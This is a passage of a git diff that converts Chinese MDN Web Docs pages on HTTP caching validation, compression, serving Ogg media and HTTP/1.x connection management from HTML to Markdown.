    用户点击刷新按钮时会开始缓存验证。如果缓存的响应头信息里含有 Cache-control: must-revalidate 的定义,在浏览的过程中也会触发缓存验证。另外,在浏览器偏好设置里设置 Advanced->Cache 为强制验证缓存也能达到相同的效果。

    +用户点击刷新按钮时会开始缓存验证。如果缓存的响应头信息里含有 `Cache-control: must-revalidate` 的定义,在浏览的过程中也会触发缓存验证。另外,在浏览器偏好设置里设置 Advanced->Cache 为强制验证缓存也能达到相同的效果。 -

    当缓存的文档过期后,需要进行缓存验证或者重新获取资源。只有在服务器返回强校验器或者弱校验器时才会进行验证。

    +当缓存的文档过期后,需要进行缓存验证或者重新获取资源。只有在服务器返回强校验器或者弱校验器时才会进行验证。 -

    ETags

    +### ETags -

    作为缓存的一种强校验器,{{HTTPHeader("ETag")}} 响应头是一个对用户代理 (User Agent,下面简称 UA) 不透明(译者注:UA 无需理解,只需要按规定使用即可)的值。对于像浏览器这样的 HTTP UA,不知道 ETag 代表什么,不能预测它的值是多少。如果资源请求的响应头里含有 ETag,客户端可以在后续的请求的头中带上 {{HTTPHeader("If-None-Match")}} 头来验证缓存。

    +作为缓存的一种强校验器,{{HTTPHeader("ETag")}} 响应头是一个对用户代理 (User Agent,下面简称 UA) 不透明(译者注:UA 无需理解,只需要按规定使用即可)的值。对于像浏览器这样的 HTTP UA,不知道 ETag 代表什么,不能预测它的值是多少。如果资源请求的响应头里含有 ETag,客户端可以在后续的请求的头中带上 {{HTTPHeader("If-None-Match")}} 头来验证缓存。 -

    {{HTTPHeader("Last-Modified")}} 响应头可以作为一种弱校验器。说它弱是因为它只能精确到一秒。如果响应头里含有这个信息,客户端可以在后续的请求中带上 {{HTTPHeader("If-Modified-Since")}} 来验证缓存。

    +{{HTTPHeader("Last-Modified")}} 响应头可以作为一种弱校验器。说它弱是因为它只能精确到一秒。如果响应头里含有这个信息,客户端可以在后续的请求中带上 {{HTTPHeader("If-Modified-Since")}} 来验证缓存。 -

    当向服务端发起缓存校验的请求时,服务端会返回 {{HTTPStatus(200)}} ok 表示返回正常的结果或者 {{HTTPStatus(304)}} Not Modified(不返回 body) 表示浏览器可以使用本地缓存文件。304 的响应头也可以同时更新缓存文档的过期时间。

    +当向服务端发起缓存校验的请求时,服务端会返回 {{HTTPStatus(200)}} ok 表示返回正常的结果或者 {{HTTPStatus(304)}} Not Modified(不返回 body) 表示浏览器可以使用本地缓存文件。304 的响应头也可以同时更新缓存文档的过期时间。 -

    Vary 响应

    +## Vary 响应 -

    {{HTTPHeader("Vary")}} HTTP 响应头决定了对于后续的请求头,如何判断是请求一个新的资源还是使用缓存的文件。

    +{{HTTPHeader("Vary")}} HTTP 响应头决定了对于后续的请求头,如何判断是请求一个新的资源还是使用缓存的文件。 -

    当缓存服务器收到一个请求,只有当前的请求和原始(缓存)的请求头跟缓存的响应头里的 Vary 都匹配,才能使用缓存的响应。

    +当缓存服务器收到一个请求,只有当前的请求和原始(缓存)的请求头跟缓存的响应头里的 Vary 都匹配,才能使用缓存的响应。 -

    The Vary header leads cache to use more HTTP headers as key for the cache.

    +![The Vary header leads cache to use more HTTP headers as key for the cache.](https://mdn.mozillademos.org/files/13769/HTTPVary.png) -

    使用 vary 头有利于内容服务的动态多样性。例如,使用 Vary: User-Agent 头,缓存服务器需要通过 UA 判断是否使用缓存的页面。如果需要区分移动端和桌面端的展示内容,利用这种方式就能避免在不同的终端展示错误的布局。另外,它可以帮助 Google 或者其他搜索引擎更好地发现页面的移动版本,并且告诉搜索引擎没有引入Cloaking

    +使用 vary 头有利于内容服务的动态多样性。例如,使用 Vary: User-Agent 头,缓存服务器需要通过 UA 判断是否使用缓存的页面。如果需要区分移动端和桌面端的展示内容,利用这种方式就能避免在不同的终端展示错误的布局。另外,它可以帮助 Google 或者其他搜索引擎更好地发现页面的移动版本,并且告诉搜索引擎没有引入[Cloaking](https://en.wikipedia.org/wiki/Cloaking)。 -
    Vary: User-Agent
    +```http +Vary: User-Agent +``` -

    因为移动版和桌面的客户端的请求头中的 User-Agent 不同,缓存服务器不会错误地把移动端的内容输出到桌面端到用户。

    +因为移动版和桌面的客户端的请求头中的 User-Agent 不同,缓存服务器不会错误地把移动端的内容输出到桌面端到用户。 -

    参考

    +## 参考 - +- [RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching](https://tools.ietf.org/html/rfc7234) +- [Caching Tutorial – Mark Nottingham](https://www.mnot.net/cache_docs) +- [HTTP caching – Ilya Grigorik](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching) +- [RedBot](https://redbot.org/), 检查缓存相关的 HTTP 头的工具。 diff --git a/files/zh-cn/web/http/compression/index.md b/files/zh-cn/web/http/compression/index.md index 2a091d913ca131..6641ba4339d253 100644 --- a/files/zh-cn/web/http/compression/index.md +++ b/files/zh-cn/web/http/compression/index.md @@ -7,63 +7,57 @@ tags: - 数据压缩 translation_of: Web/HTTP/Compression --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    数据压缩是提高 Web 站点性能的一种重要手段。对于有些文件来说,高达 70% 的压缩比率可以大大减低对于带宽的需求。随着时间的推移,压缩算法的效率也越来越高,同时也有新的压缩算法被发明出来,应用在客户端与服务器端。

    +**数据压缩**是提高 Web 站点性能的一种重要手段。对于有些文件来说,高达 70% 的压缩比率可以大大减低对于带宽的需求。随着时间的推移,压缩算法的效率也越来越高,同时也有新的压缩算法被发明出来,应用在客户端与服务器端。 -

    在实际应用时,web 开发者不需要亲手实现压缩机制,浏览器及服务器都已经将其实现了,不过他们需要确保在服务器端进行了合理的配置。数据压缩会在三个不同的层面发挥作用:

    +在实际应用时,web 开发者不需要亲手实现压缩机制,浏览器及服务器都已经将其实现了,不过他们需要确保在服务器端进行了合理的配置。数据压缩会在三个不同的层面发挥作用: -
      -
    • 首先某些格式的文件会采用特定的优化算法进行压缩,
    • -
    • 其次在 HTTP 协议层面会进行通用数据加密,即数据资源会以压缩的形式进行端到端传输,
    • -
    • 最后数据压缩还会发生在网络连接层面,即发生在 HTTP 连接的两个节点之间。
    • -
    +- 首先某些格式的文件会采用特定的优化算法进行压缩, +- 其次在 HTTP 协议层面会进行通用数据加密,即数据资源会以压缩的形式进行端到端传输, +- 最后数据压缩还会发生在网络连接层面,即发生在 HTTP 连接的两个节点之间。 -

    文件格式压缩

    +## 文件格式压缩 -

    每一种文件类型都会存有冗余,也就是浪费的空间。如果一个典型的文本文件存在 60% 的冗余的话,那么对于其他类型的文件例如音频或视频文件来说,这个比率会更高。不同于文本文件,这些其他类型的媒体文件占据的空间也更大,所以很早就出现了回收这些浪费的空间的需求。工程师们设计了可以应用于特定用途的文件类型的经过优化的算法。用于文件的压缩算法可以大致分为两类:

    +每一种文件类型都会存有冗余,也就是浪费的空间。如果一个典型的文本文件存在 60% 的冗余的话,那么对于其他类型的文件例如音频或视频文件来说,这个比率会更高。不同于文本文件,这些其他类型的媒体文件占据的空间也更大,所以很早就出现了回收这些浪费的空间的需求。工程师们设计了可以应用于特定用途的文件类型的经过优化的算法。用于文件的压缩算法可以大致分为两类: -
      -
    • 无损压缩算法。在压缩与解压缩的过程中,不会对要恢复的数据进行修改。复原后的数据与原始数据是一致的(比特与比特之间一一对应)。
      - 对于图片文件来说,gif 或者 png 格式的文件就是采用了无损压缩算法。.
    • -
    • 有损压缩算法。在压缩与解压缩的过程中,会对原始数据进行修改,但是会以用户无法觉察的方式进行。
      - 网络上的视频文件通常采用有损压缩算法,图片是jpeg
    • -
    +- 无损压缩算法。在压缩与解压缩的过程中,不会对要恢复的数据进行修改。复原后的数据与原始数据是一致的(比特与比特之间一一对应)。 + 对于图片文件来说,gif 或者 png 格式的文件就是采用了无损压缩算法。. +- 有损压缩算法。在压缩与解压缩的过程中,会对原始数据进行修改,但是会以用户无法觉察的方式进行。 + 网络上的视频文件通常采用有损压缩算法,图片是`jpeg`。 -

    一些特定的文件格式既可以采用无损压缩算法,又可以采用有损压缩算法,例如 webp ,并且有损压缩算法可以对压缩比率进行配置,当然这会导致压缩品质的不同。为了使一个站点获得更好的性能,理想情况是在保持可以接受的品质水准的前提下,压缩比率尽可能得高。对于图片来说,通过压缩工具生成的图片对于 Web 应用来说,优化程度可能依然不够高。一般建议选用在保持所要求的品质的前提下压缩比率尽可能高的工具。这里有各种各样的工具专门用来干这个。

    +一些特定的文件格式既可以采用无损压缩算法,又可以采用有损压缩算法,例如 `webp` ,并且有损压缩算法可以对压缩比率进行配置,当然这会导致压缩品质的不同。为了使一个站点获得更好的性能,理想情况是在保持可以接受的品质水准的前提下,压缩比率尽可能得高。对于图片来说,通过压缩工具生成的图片对于 Web 应用来说,优化程度可能依然不够高。一般建议选用在保持所要求的品质的前提下压缩比率尽可能高的工具。这里有[各种各样的工具](http://www.creativebloq.com/design/image-compression-tools-1132865)专门用来干这个。 -

    有损压缩通常会比无损压缩效率更高一些。

    +有损压缩通常会比无损压缩效率更高一些。 -
    -

    由于数据压缩技术在一些特定类型的文件上效果很好,再次进行压缩通常没有什么效果。事实上,这种做法常常会适得其反,因为间接开销(算法通常需要使用字典,而字典的大小是会计入初始大小的)会比在压缩过程中获取的额外收益要高,从而会使文件的体积增加。不要对文件类型为压缩格式的文件应用如下两种压缩技术。

    -
    +> **备注:** 由于数据压缩技术在一些特定类型的文件上效果很好,再次进行压缩通常没有什么效果。事实上,这种做法常常会适得其反,因为间接开销(算法通常需要使用字典,而字典的大小是会计入初始大小的)会比在压缩过程中获取的额外收益要高,从而会使文件的体积增加。不要对文件类型为压缩格式的文件应用如下两种压缩技术。 -

    端到端压缩技术

    +## 端到端压缩技术 -

    对于各种压缩手段来说,端到端压缩技术是 Web 站点性能提升最大的部分之所在。端到端压缩技术指的是消息体压缩是在服务器端完成的,并且在传输过程中保持不变,直到抵达客户端。不管途中遇到什么样的中间节点,它们都会使消息体保持原样。

    +对于各种压缩手段来说,端到端压缩技术是 Web 站点性能提升最大的部分之所在。端到端压缩技术指的是消息体压缩是在服务器端完成的,并且在传输过程中保持不变,直到抵达客户端。不管途中遇到什么样的中间节点,它们都会使消息体保持原样。 -

    +![](httpenco1.png) -

    所有的现代浏览器及服务器都支持该技术,唯一需要协商的是所采用的压缩算法。这些压缩算法是为文本内容进行过优化的。在 20 世纪,压缩技术快速发展,为数众多的算法相继出现,扩大了可选的范围。如今只有两种算法有着举足轻重的地位:gzip 应用最广泛,br 则是新的挑战者。

    +所有的现代浏览器及服务器都支持该技术,唯一需要协商的是所采用的压缩算法。这些压缩算法是为文本内容进行过优化的。在 20 世纪,压缩技术快速发展,为数众多的算法相继出现,扩大了可选的范围。如今只有两种算法有着举足轻重的地位:gzip 应用最广泛,br 则是新的挑战者。 -

    为了选择要采用的压缩算法,浏览器和服务器之间会使用主动协商机制。浏览器发送 {{HTTPHeader("Accept-Encoding")}} 首部,其中包含有它所支持的压缩算法,以及各自的优先级,服务器则从中选择一种,使用该算法对响应的消息主体进行压缩,并且发送 {{HTTPHeader("Content-Encoding")}} 首部来告知浏览器它选择了哪一种算法。由于该内容协商过程是基于编码类型来选择资源的展现形式的,在响应中, {{HTTPHeader("Vary")}} 首部中至少要包含 {{HTTPHeader("Accept-Encoding")}} ;这样的话,缓存服务器就可以对资源的不同展现形式进行缓存。

    +为了选择要采用的压缩算法,浏览器和服务器之间会使用[主动协商机制](/zh-CN/docs/Web/HTTP/Content_negotiation)。浏览器发送 {{HTTPHeader("Accept-Encoding")}} 首部,其中包含有它所支持的压缩算法,以及各自的优先级,服务器则从中选择一种,使用该算法对响应的消息主体进行压缩,并且发送 {{HTTPHeader("Content-Encoding")}} 首部来告知浏览器它选择了哪一种算法。由于该内容协商过程是基于编码类型来选择资源的展现形式的,在响应中, {{HTTPHeader("Vary")}} 首部中至少要包含 {{HTTPHeader("Accept-Encoding")}} ;这样的话,缓存服务器就可以对资源的不同展现形式进行缓存。 -

    +![](httpcompression1.png) -

    由于压缩技术可以带来很大的性能提升,建议对除了已经经过压缩的文件如图片、音频和视频文件之外的其他类型的文件均进行应用。

    +由于压缩技术可以带来很大的性能提升,建议对除了已经经过压缩的文件如图片、音频和视频文件之外的其他类型的文件均进行应用。 -

    Apache 服务器支持数据压缩,有 mod_deflate可供使用;nginx 中有ngx_http_gzip_module 模块;在 IIS 中则可以使用 <httpCompression> 元素。

    +Apache 服务器支持数据压缩,有 [mod_deflate](http://httpd.apache.org/docs/current/mod/mod_deflate.html)可供使用;nginx 中有[ngx_http_gzip_module](http://nginx.org/en/docs/http/ngx_http_gzip_module.html) 模块;在 IIS 中则可以使用 [``](https://www.iis.net/configreference/system.webserver/httpcompression) 元素。 -

    逐跳压缩技术

    +## 逐跳压缩技术 -

    逐跳压缩技术尽管与端到端压缩技术有些类似,但是它们在一点上有着本质的区别,即这里的压缩指的不是对源头服务器上的资源的压缩,以此来创建一份特定的展现形式然后进行传输,而是对客户端与服务器端之间的任意两个节点之间传递的消息的主体的压缩。在两个相邻的中间节点之间的连接上,可能会应用不同的压缩方式。

    +逐跳压缩技术尽管与端到端压缩技术有些类似,但是它们在一点上有着本质的区别,即这里的压缩指的不是对源头服务器上的资源的压缩,以此来创建一份特定的展现形式然后进行传输,而是对客户端与服务器端之间的任意两个节点之间传递的消息的主体的压缩。在两个相邻的中间节点之间的连接上,可能会应用不同的压缩方式。 -

    +![](httpte1.png) -

    为了实现这个目的,HTTP 协议中采用了与端到端压缩技术所使用的内容协商机制相类似的机制:节点发送请求,使用 {{HTTPHeader("TE")}} 首部来宣布它的意愿,另外一个节点则从中选择合适的方法,进行应用,然后在 {{HTTPHeader("Transfer-Encoding")}} 首部中指出它所选择的方法。

    +为了实现这个目的,HTTP 协议中采用了与端到端压缩技术所使用的内容协商机制相类似的机制:节点发送请求,使用 {{HTTPHeader("TE")}} 首部来宣布它的意愿,另外一个节点则从中选择合适的方法,进行应用,然后在 {{HTTPHeader("Transfer-Encoding")}} 首部中指出它所选择的方法。 -

    +![](httpcomp2.png) -

    在实际应用中,逐跳压缩对于服务器和客户端来说是不可见的,并且很少使用。{{HTTPHeader("TE")}} 首部和 {{HTTPHeader("Transfer-Encoding")}} 首部最常用来发送分块响应,允许在获得资源的确切长度之前就可以开始传输。

    +在实际应用中,逐跳压缩对于服务器和客户端来说是不可见的,并且很少使用。{{HTTPHeader("TE")}} 首部和 {{HTTPHeader("Transfer-Encoding")}} 首部最常用来发送分块响应,允许在获得资源的确切长度之前就可以开始传输。 -

    注意,在单次转发层面使用 {{HTTPHeader("Transfer-Encoding")}} 首部和压缩技术是如此地少见,以至于 Apache、nginx 或 IIS 等服务器都不太容易配置。此类配置通常用在代理服务器层面。

    +注意,在单次转发层面使用 {{HTTPHeader("Transfer-Encoding")}} 首部和压缩技术是如此地少见,以至于 Apache、nginx 或 IIS 等服务器都不太容易配置。此类配置通常用在代理服务器层面。 diff --git a/files/zh-cn/web/http/configuring_servers_for_ogg_media/index.md b/files/zh-cn/web/http/configuring_servers_for_ogg_media/index.md index f920ac65f126b1..c6ebae7a438ece 100644 --- a/files/zh-cn/web/http/configuring_servers_for_ogg_media/index.md +++ b/files/zh-cn/web/http/configuring_servers_for_ogg_media/index.md @@ -5,83 +5,84 @@ tags: - 媒体类型 translation_of: Web/HTTP/Configuring_servers_for_Ogg_media --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    HTML {{HTMLElement("audio")}} 和 {{HTMLElement("video")}} 标签无需用户安装任何插件或软件即可播放媒体文件。本指南包括了一些服务器配置修改,这些修改对于 web 服务器提供 Ogg 媒体文件是必要的。 这些信息在遇到服务器未配置为可识别的其他媒体类型文件时也可能提供帮助。

    +HTML {{HTMLElement("audio")}} 和 {{HTMLElement("video")}} 标签无需用户安装任何插件或软件即可播放媒体文件。本指南包括了一些服务器配置修改,这些修改对于 web 服务器提供 Ogg 媒体文件是必要的。 这些信息在遇到服务器未配置为可识别的其他媒体类型文件时也可能提供帮助。 -

    为媒体提供正确的 MIME 类型

    +## 为媒体提供正确的 MIME 类型 -

    *.ogg*.ogv 文件包含了视频 (也可能带有音频),应该和 video/ogg MIME 类型一起提供。 *.oga*.ogg 只含音频的文件应该与 audio/ogg MIME 类型一起提供。

    +`*.ogg` 和 `*.ogv` 文件包含了视频 (也可能带有音频),应该和 `video/ogg` MIME 类型一起提供。 `*.oga` 和 `*.ogg` 只含音频的文件应该与 `audio/ogg` MIME 类型一起提供。 -

    如果不确定 Ogg 文件是否包含音频或视频,可以和 MIME 类型 application/ogg一起提供,浏览器会将其视为视频文件。

    +如果不确定 Ogg 文件是否包含音频或视频,可以和 MIME 类型 `application/ogg`一起提供,浏览器会将其视为视频文件。 -

    默认情况下,大多数服务器不为 Ogg 媒体提供正确的 MIME 类型,因此可能需要为此添加适当的配置。

    +默认情况下,大多数服务器不为 Ogg 媒体提供正确的 MIME 类型,因此可能需要为此添加适当的配置。 -

    对于 Apache,可添加如下配置:

    +对于 Apache,可添加如下配置: -
    AddType audio/ogg .oga
    +```plain
    +AddType audio/ogg .oga
     AddType video/ogg .ogv
     AddType application/ogg .ogg
    -
    +``` -

    你可以在 guide to media types and formats on the web 找到有关可能的媒体文件类型以及其中使用的编解码器的特定信息。特别是,关于配置媒体服务器正确托管媒体 media container formats 特别有用。

    +你可以在 [guide to media types and formats on the web](/zh-CN/docs/Web/Media/Formats) 找到有关可能的媒体文件类型以及其中使用的编解码器的特定信息。特别是,关于配置媒体服务器正确托管媒体 [media container formats](/zh-CN/docs/Web/Media/Formats/Containers) 特别有用。 -

    Handle HTTP 1.1 byte range requests correctly

    +## Handle HTTP 1.1 byte range requests correctly -

    In order to support seeking and playing back regions of the media that aren't yet downloaded, Gecko uses HTTP 1.1 byte-range requests to retrieve the media from the seek target position. In addition, Gecko uses byte-range requests to seek to the end of the media (assuming you serve the {{HTTPHeader("Content-Length")}} header) in order to determine the duration of the media.

    +In order to support seeking and playing back regions of the media that aren't yet downloaded, Gecko uses HTTP 1.1 byte-range requests to retrieve the media from the seek target position. In addition, Gecko uses byte-range requests to seek to the end of the media (assuming you serve the {{HTTPHeader("Content-Length")}} header) in order to determine the duration of the media. -

    Your server should accept the {{HTTPHeader("Accept-Ranges")}}: bytes HTTP header if it can accept byte-range requests. It must return {{HTTPStatus("206")}}: Partial content to all byte range requests; otherwise, browsers can't be sure you actually support byte range requests.

    +Your server should accept the {{HTTPHeader("Accept-Ranges")}}`: bytes` HTTP header if it can accept byte-range requests. It must return {{HTTPStatus("206")}}`: Partial content` to all byte range requests; otherwise, browsers can't be sure you actually support byte range requests. -

    Your server must also return 206: Partial Content for the request Range: bytes=0- as well.

    +Your server must also return `206: Partial Content` for the request `Range: bytes=0-` as well. -

    Include regular key frames

    +## Include regular key frames -

    When the browser seeks through Ogg media to a specified time, it has to seek to the nearest key frame before the seek target, then download and decode the video from there until the requested target time. The farther apart your key frames are, the longer this takes, so it's helpful to include key frames at regular intervals.

    +When the browser seeks through Ogg media to a specified time, it has to seek to the nearest key frame before the seek target, then download and decode the video from there until the requested target time. The farther apart your key frames are, the longer this takes, so it's helpful to include key frames at regular intervals. -

    By default, ffmpeg2theora uses one key frame every 64 frames (or about every 2 seconds at 30 frames per second), which works pretty well.

    +By default, [`ffmpeg2theora`](http://v2v.cc/~j/ffmpeg2theora/) uses one key frame every 64 frames (or about every 2 seconds at 30 frames per second), which works pretty well. -
    Note: Of course, the more key frames you use, the larger your video file is, so you may need to experiment a bit to get the right balance between file size and seek performance.
    +> **备注:** Of course, the more key frames you use, the larger your video file is, so you may need to experiment a bit to get the right balance between file size and seek performance. -

    Consider using the preload attribute

    +## Consider using the preload attribute -

    The HTML {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements provide the preload attribute, which tells the browser to attempt to download the entire media when the page loads. Without preload, the browser only downloads enough of the media to display the first video frame, and to determine the media's duration.

    +The HTML {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements provide the `preload` attribute, which tells the browser to attempt to download the entire media when the page loads. Without `preload`, the browser only downloads enough of the media to display the first video frame, and to determine the media's duration. -

    preload is off by default, so if getting to video is the point of your web page, your users may appreciate it if you include preload in your video elements. using preload="metadata" will preload the media file's metadata and possibly the first few frames of video. Setting payload to auto tells the browser to automatically begin downloading the media as soon as the page is loaded, under the assumption that the user will play it.

    +`preload` is off by default, so if getting to video is the point of your web page, your users may appreciate it if you include `preload` in your video elements. using `preload="metadata"` will preload the media file's metadata and possibly the first few frames of video. Setting `payload` to `auto` tells the browser to automatically begin downloading the media as soon as the page is loaded, under the assumption that the user will play it. -

    Configuration for older Firefox versions

    +## Configuration for older Firefox versions -

    Serve X-Content-Duration headers

    +### Serve X-Content-Duration headers -
    -

    Note: As of Firefox 41, the X-Content-Duration header is no longer supported. See {{Bug(1160695)}} for more details.

    -
    +> **备注:** As of [Firefox 41](/en-US/Firefox/Releases/41), the `X-Content-Duration` header is no longer supported. See {{Bug(1160695)}} for more details. -

    The Ogg format doesn't encapsulate the duration of media, so for the progress bar on the video controls to display the duration of the video, Gecko needs to determine the length of the media using other means.

    +The Ogg format doesn't encapsulate the duration of media, so for the progress bar on the video controls to display the duration of the video, Gecko needs to determine the length of the media using other means. -

    There are two ways Gecko can do this. The best way is to offer an X-Content-Duration header when serving Ogg media files. This header provides the duration of the video in seconds (not in HH:MM:SS format) as a floating-point value.

    +There are two ways Gecko can do this. The best way is to offer an `X-Content-Duration` header when serving Ogg media files. This header provides the duration of the video in seconds (**not** in HH:MM:SS format) as a floating-point value. -

    For example, if the video is 1 minute and 32.6 seconds long, this header would be:

    +For example, if the video is 1 minute and 32.6 seconds long, this header would be: -
    X-Content-Duration: 92.6
    -
    +```plain +X-Content-Duration: 92.6 +``` -

    If your server provides the X-Content-Duration header when serving Ogg media, Gecko doesn't have to do any extra HTTP requests to seek to the end of the file to calculate its duration. This makes the entire process much more efficient as well as more accurate.

    +If your server provides the `X-Content-Duration` header when serving Ogg media, Gecko doesn't have to do any extra HTTP requests to seek to the end of the file to calculate its duration. This makes the entire process much more efficient as well as more accurate. -

    As an inferior alternative, Gecko can estimate the video length based on the Content-Length. See next point.

    +As an inferior alternative, Gecko can estimate the video length based on the Content-Length. See next point. -

    Don't use HTTP compression for media files

    +### Don't use HTTP compression for media files -

    One common way to reduce the load on a web server is to use gzip or deflate compression when serving to a supporting web browser.

    +One common way to reduce the load on a web server is to use [gzip or deflate compression](http://betterexplained.com/articles/how-to-optimize-your-site-with-gzip-compression/) when serving to a supporting web browser. -

    Although it's unlikely, it's possible the browser may advertise that it supports HTTP compression (gzip/deflate) using the Accept-Encoding: gzip,deflate header when requesting media files. Your server should be configured to not do so. The data in media files is already compressed, so you won't get any real benefit from compression, and the use of compression makes it impossible for the browser to properly seek the video or determine its duration.

    +Although it's unlikely, it's possible the browser may advertise that it supports HTTP compression (gzip/deflate) using the `Accept-Encoding: gzip,deflate` header when requesting media files. Your server should be configured to not do so. The data in media files is already compressed, so you won't get any real benefit from compression, and the use of compression makes it impossible for the browser to properly seek the video or determine its duration. -

    Another probelm with allowing HTTP compression for media streaming: Apache servers don't send the {{HTTPHeader("Content-Length")}} response header if gzip encoding is used.

    +Another probelm with allowing HTTP compression for media streaming: Apache servers don't send the {{HTTPHeader("Content-Length")}} response header if gzip encoding is used. -

    Getting the duration of Ogg media

    +### Getting the duration of Ogg media -

    You can use the oggz-info tool to get the media duration; this tool is included with the oggz-tools package. The output from oggz-info looks like this:

    +You can use the `oggz-info` tool to get the media duration; this tool is included with the [`oggz-tools`](http://www.xiph.org/oggz/) package. The output from `oggz-info` looks like this: -
     $ oggz-info /g/media/bruce_vs_ironman.ogv
    +```plain
    + $ oggz-info /g/media/bruce_vs_ironman.ogv
      Content-Duration: 00:01:00.046
     
      Skeleton: serialno 1976223438
    @@ -99,16 +100,14 @@ AddType application/ogg .ogg
              4531 packets in 167 pages, 27.1 packets/page, 1.408% Ogg overhead
              Audio-Samplerate: 44100 Hz
              Audio-Channels: 2
    -
    +``` -

    Note that you can't simply serve up the reported Content-Duration line reported by oggz-info, because it's reported in HH:MM:SS format. You'll need to convert it to seconds only, then serve that as your X-Content-Duration value. Just parse out the HH, MM, and SS into numbers, then do (HH*3600)+(MM*60)+SS to get the value you should report.

    +Note that you can't simply serve up the reported Content-Duration line reported by `oggz-info`, because it's reported in HH:MM:SS format. You'll need to convert it to seconds only, then serve that as your `X-Content-Duration` value. Just parse out the HH, MM, and SS into numbers, then do (HH\*3600)+(MM\*60)+SS to get the value you should report. -

    It's important to note that it appears that oggz-info makes a read pass of the media in order to calculate its duration, so it's a good idea to store the duration value in order to avoid lengthy delays while the value is calculated for every HTTP request of your Ogg media.

    +It's important to note that it appears that `oggz-info` makes a read pass of the media in order to calculate its duration, so it's a good idea to store the duration value in order to avoid lengthy delays while the value is calculated for every HTTP request of your Ogg media. -

    See also

    +## See also - +- [Guide to media types and formats on the web](/zh-CN/docs/Web/Media/Formats) +- [Video and audio content](/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content) +- [The "codecs" parameter in common media types](/zh-CN/docs/Web/Media/Formats/codecs_parameter) diff --git a/files/zh-cn/web/http/connection_management_in_http_1.x/index.md b/files/zh-cn/web/http/connection_management_in_http_1.x/index.md index 401bbc1aa830b4..f85ed1f312260d 100644 --- a/files/zh-cn/web/http/connection_management_in_http_1.x/index.md +++ b/files/zh-cn/web/http/connection_management_in_http_1.x/index.md @@ -5,84 +5,72 @@ tags: - TCP translation_of: Web/HTTP/Connection_management_in_HTTP_1.x --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    连接管理是一个 HTTP 的关键话题:打开和保持连接在很大程度上影响着网站和 Web 应用程序的性能。在 HTTP/1.x 里有多种模型:短连接, 长连接, 和 HTTP 流水线。

    +连接管理是一个 HTTP 的关键话题:打开和保持连接在很大程度上影响着网站和 Web 应用程序的性能。在 HTTP/1.x 里有多种模型:_短连接_, _长连接_, 和 _HTTP 流水线。_ -

    HTTP 的传输协议主要依赖于 TCP 来提供从客户端到服务器端之间的连接。在早期,HTTP 使用一个简单的模型来处理这样的连接。这些连接的生命周期是短暂的:每发起一个请求时都会创建一个新的连接,并在收到应答时立即关闭。

    +HTTP 的传输协议主要依赖于 TCP 来提供从客户端到服务器端之间的连接。在早期,HTTP 使用一个简单的模型来处理这样的连接。这些连接的生命周期是短暂的:每发起一个请求时都会创建一个新的连接,并在收到应答时立即关闭。 -

    这个简单的模型对性能有先天的限制:打开每一个 TCP 连接都是相当耗费资源的操作。客户端和服务器端之间需要交换好些个消息。当请求发起时,网络延迟和带宽都会对性能造成影响。现代浏览器往往要发起很多次请求 (十几个或者更多) 才能拿到所需的完整信息,证明了这个早期模型的效率低下。

    +这个简单的模型对性能有先天的限制:打开每一个 TCP 连接都是相当耗费资源的操作。客户端和服务器端之间需要交换好些个消息。当请求发起时,网络延迟和带宽都会对性能造成影响。现代浏览器往往要发起很多次请求 (十几个或者更多) 才能拿到所需的完整信息,证明了这个早期模型的效率低下。 -

    有两个新的模型在 HTTP/1.1 诞生了。首先是长连接模型,它会保持连接去完成多次连续的请求,减少了不断重新打开连接的时间。然后是 HTTP 流水线模型,它还要更先进一些,多个连续的请求甚至都不用等待立即返回就可以被发送,这样就减少了耗费在网络延迟上的时间。

    +有两个新的模型在 HTTP/1.1 诞生了。首先是长连接模型,它会保持连接去完成多次连续的请求,减少了不断重新打开连接的时间。然后是 HTTP 流水线模型,它还要更先进一些,多个连续的请求甚至都不用等待立即返回就可以被发送,这样就减少了耗费在网络延迟上的时间。 -

    Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining.

    +![Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining.](http1_x_connections.png) -
    -

    HTTP/2 新增了其它连接管理模型。

    -
    +> **备注:** HTTP/2 新增了其它连接管理模型。 -

    要注意的一个重点是 HTTP 的连接管理适用于两个连续节点之间的连接,如 hop-by-hop,而不是 end-to-end。当模型用于从客户端到第一个代理服务器的连接和从代理服务器到目标服务器之间的连接时 (或者任意中间代理) 效果可能是不一样的。HTTP 协议头受不同连接模型的影响,比如 {{HTTPHeader("Connection")}} 和 {{HTTPHeader("Keep-Alive")}},就是 hop-by-hop 协议头,它们的值是可以被中间节点修改的。

    +要注意的一个重点是 HTTP 的连接管理适用于两个连续节点之间的连接,如 [hop-by-hop](/zh-CN/docs/Web/HTTP/Headers#hbh),而不是 [end-to-end](/zh-CN/docs/Web/HTTP/Headers#e2e)。当模型用于从客户端到第一个代理服务器的连接和从代理服务器到目标服务器之间的连接时 (或者任意中间代理) 效果可能是不一样的。HTTP 协议头受不同连接模型的影响,比如 {{HTTPHeader("Connection")}} 和 {{HTTPHeader("Keep-Alive")}},就是 [hop-by-hop](/zh-CN/docs/Web/HTTP/Headers#hbh) 协议头,它们的值是可以被中间节点修改的。 -

    一个相关的话题是 HTTP 连接升级,在这里,一个 HTTP/1.1 连接升级为一个不同的协议,比如 TLS/1.0,Websocket,甚至明文形式的 HTTP/2。更多细节参阅协议升级机制

    +一个相关的话题是 HTTP 连接升级,在这里,一个 HTTP/1.1 连接升级为一个不同的协议,比如 TLS/1.0,Websocket,甚至明文形式的 HTTP/2。更多细节参阅[协议升级机制](/zh-CN/docs/Web/HTTP/Protocol_upgrade_mechanism)。 -

    短连接

    +## 短连接 -

    HTTP 最早期的模型,也是 HTTP/1.0 的默认模型,是短连接。每一个 HTTP 请求都由它自己独立的连接完成;这意味着发起每一个 HTTP 请求之前都会有一次 TCP 握手,而且是连续不断的。

    +HTTP 最早期的模型,也是 HTTP/1.0 的默认模型,是短连接。每一个 HTTP 请求都由它自己独立的连接完成;这意味着发起每一个 HTTP 请求之前都会有一次 TCP 握手,而且是连续不断的。 -

